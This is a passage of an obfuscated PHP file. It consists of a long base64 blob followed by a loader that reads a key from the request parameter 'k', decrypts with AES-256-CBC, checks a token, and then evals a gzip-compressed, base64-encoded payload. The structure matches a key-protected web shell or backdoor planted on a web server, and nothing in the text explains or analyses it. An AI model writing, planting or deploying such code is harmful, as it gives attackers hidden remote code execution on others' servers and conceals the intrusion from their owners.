LfFbr2FuzC8jBnsBboKlXrdED8TYUnigQEqGBlhcZ0cggZ+sFAcX+rqOr18frG6Sx5cz5rG9Botnk7DFNrBILqA54hrmHnIySWw44ev9J13cTbFuckJDd2ke/qeaNWpQDVxzelNubtVxmYKepbxsTIhESwCAmXT4LnOkT3azjyS59eNTNMI+OUyb+gFsMjR1L2+pPcIDuTR/wG2BKyGBS5Y8mSiq+MClTg0sDANQ2Sc5rR57pa9QhecU9Gdfp573P9kD0xZgf2XzHBl19VrHSHZ9esptw9+tq6TK8fAC0HLwc/KJueiJhFgA5roMNbERFjKwvNOODkP2g3dMC69tm88U/D1Db0zDEKvTGiOy5UKSn5HsP9AA8guzGedYT3JbjJ2xT97rBOz3AaeFOM9iid1SJb/+GPswH0WrSsMTb3+1jRLZdSgK8NQ6c8MoifGwWrDJbt1r07iT3yBHrj3Sd+wiLuu+vMfrPOfrabHbJnTPNw48vg35CoCz7ZlqaR7OrYX6VJbsT2SNb9qbxuuUzWiqXzNhonzAJFrv5bwyYidQtuxxtj9Lq8yr79clf/MVhXZ8baf5HIkfk3t6zvd/neBnfzN9d4rnp7t3gGd0ru4i9SxXZojuVdXf9+7bd/MtLFIzC/w6r13eJfa3l7eucnlVDea7knu8+1+c/3zLk37vZ4jfe/6LuVtXNYlc8tbVxX/yEnsHw/mvwqg4sM4iDOanPN48deX7a7Et/4ENCt0KebDSIoJlO3+9HHz6ICXgTWwsGixUETEUHoUtnR9uGFARjAKoRrmHf5Q5tSlr216BoZqAgdTu2oxKtJmkILVWYEUkLtOo8v6D+JT4b8l6fL6/9J6vhepa18lwqglu1r04Xv0Ve4r3Ypb7PMPZaKEb3upfEsxHGbd6qMCrBraOTaGZxHDTFjYdcT5xCQPDKUoKltYXxYNf19Mf6+gSAZsxtW4M07OSXxTwdUhwTYg3GUvf3vquqrq6XWNqO03Y7Prjh1gsLTmlq6bU2nr9JU+3YIvZ2Jc1iuEIdbbp0mv8SEWIAGIJJ7gAZhZwOmfbJycjG6oi59v0IttVrrT5ciX8D4A/BAv/PEQA'; function aML($jmGt) { $Eln = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $MfJY = substr($Eln, 0, 16); $ZCy = base64_decode($jmGt); return openssl_decrypt($ZCy, "AES-256-CBC", $Eln, OPENSSL_RAW_DATA, $MfJY); } if (aML('DjtPn+r4S0yvLCnquPz1fA')){ echo 'ZbzJKLX2XNxT1pTTXwDh8S9bOKhfoJn+OgkR5qyvyah3SIxX/n5RL3RfHT4+ekVj'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($aML)))); ?>